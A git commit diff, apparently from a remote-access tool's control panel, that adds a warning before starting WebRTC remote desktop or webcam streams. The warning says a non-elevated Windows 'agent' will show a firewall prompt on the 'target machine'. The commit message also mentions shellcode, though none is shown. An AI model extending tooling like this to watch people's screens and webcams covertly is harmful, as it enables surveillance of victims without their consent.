add firewall notification and fix GPU mode in shellcode

This commit is contained in:
KingKDot
2026-05-18 11:01:42 -05:00
parent b8121ade9a
commit c76d2aaa44
8 changed files with 105 additions and 4 deletions
+19 -1
View File
@@ -101,6 +101,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
let lastClipboardText = "";
let clipboardSyncActive = false;
let elevationPending = false;
let clientOs = "";
let clientIsAdmin = false;
let firewallWarningAcked = false;
function resetH264RuntimeState() {
h264TimestampUs = 0;
@@ -799,6 +802,8 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
const client = data.items.find((c) => c.id === activeClientId);
if (client) {
clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`;
clientOs = (client.os || "").toLowerCase();
clientIsAdmin = !!client.isAdmin;
}
if (client) {
populateDisplays(client.monitors, client.monitorInfo);
@@ -874,7 +879,21 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
});
});
function needsWebrtcFirewallWarning(mode) {
if (firewallWarningAcked) return false;
if (mode !== "relayed" && mode !== "p2p") return false;
const isWindows = clientOs.includes("windows") || clientOs.includes("win");
return isWindows && !clientIsAdmin;
}
startBtn.addEventListener("click", function () {
const mode = getWebrtcMode();
if (needsWebrtcFirewallWarning(mode)) {
if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) {
return;
}
firewallWarningAcked = true;
}
if (displaySelect && displaySelect.value !== undefined) {
sendCmd("desktop_select_display", {
display: parseInt(displaySelect.value, 10) || 0,
@@ -888,7 +907,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
lastFrameAt = 0;
resetH264SessionState();
setStreamState("starting", "Starting stream");
const mode = getWebrtcMode();
if (mode === "relayed") {
// Server replies with `webrtc_ready { whepPath }`; startWhep happens then.
sendCmd("desktop_start", { webrtc: true });
+19 -1
View File
@@ -54,6 +54,9 @@ import { P2PClient } from "./webrtc-p2p.js";
let selectedDeviceIndex = 0;
let hasRenderedFrame = false;
let drawPending = false;
let clientOs = "";
let clientIsAdmin = false;
let firewallWarningAcked = false;
const codecPrefKey = "webcamCodecPreferH264";
let prefersH264 = typeof VideoDecoder === "function";
@@ -438,6 +441,8 @@ import { P2PClient } from "./webrtc-p2p.js";
return;
}
if (msg.type === "ready") {
if (msg.os) clientOs = String(msg.os).toLowerCase();
if (msg.isAdmin !== undefined) clientIsAdmin = !!msg.isAdmin;
setStreamState("idle", "Ready");
return;
}
@@ -496,10 +501,23 @@ import { P2PClient } from "./webrtc-p2p.js";
};
}
function needsWebrtcFirewallWarning(mode) {
if (firewallWarningAcked) return false;
if (mode !== "relayed" && mode !== "p2p") return false;
const isWindows = clientOs.includes("windows") || clientOs.includes("win");
return isWindows && !clientIsAdmin;
}
startBtn.addEventListener("click", () => {
const mode = getWebrtcMode();
if (needsWebrtcFirewallWarning(mode)) {
if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) {
return;
}
firewallWarningAcked = true;
}
desiredStreaming = true;
applyFpsSettings();
const mode = getWebrtcMode();
if (mode === "relayed") {
// Server replies with webrtc_ready; startWhep happens then.
send("webcam_start", { webrtc: true });
@@ -374,7 +374,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addRdSession(session);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, os: target?.os ?? "", isAdmin: !!target?.isAdmin });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;
@@ -710,7 +710,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addWebcamSession(session);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, os: target?.os ?? "", isAdmin: !!target?.isAdmin });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;